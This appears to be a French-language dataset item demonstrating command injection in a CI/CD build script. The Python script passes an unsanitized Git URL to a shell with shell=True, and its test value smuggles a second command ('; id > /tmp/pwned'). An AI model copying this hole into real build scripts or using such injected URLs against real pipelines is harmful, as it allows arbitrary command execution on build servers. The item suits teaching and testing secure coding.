
Démontre l'injection de commandes via des URL Git non désinfectées dans les pipelines CI/CD, y compris un script de build vulnérable et un exemple d'exploit pour une CVE critique.
# cicd_build.py - Clones repository without sanitizing URL
import subprocess, sys
def clone_and_build(repo_url):
# Vulnerability: repo_url can contain shell metacharacters
cmd = f"git clone {repo_url} /tmp/repo"
subprocess.check_call(cmd, shell=True)
# Build steps...
if __name__ == '__main__':
# Simulate attacker-controlled input
malicious_url = "https://github.com/org/repo.git; id > /tmp/pwned"
clone_and_build(malicious_url)
Un script de pipeline CI/CD utilise des URL de dépôt Git fournies par l'utilisateur sans les assainir dans une commande shell. Un attaquant peut injecter des commandes shell en incluant des caractères spéciaux (par exemple ;, &&) dans l'URL, ce qui conduit à l'exécution arbitraire de commandes sur le serveur de build.
Exécutez le script vulnérable :
python cicd_build.py
Il exécute la commande id injectée, créant /tmp/pwned.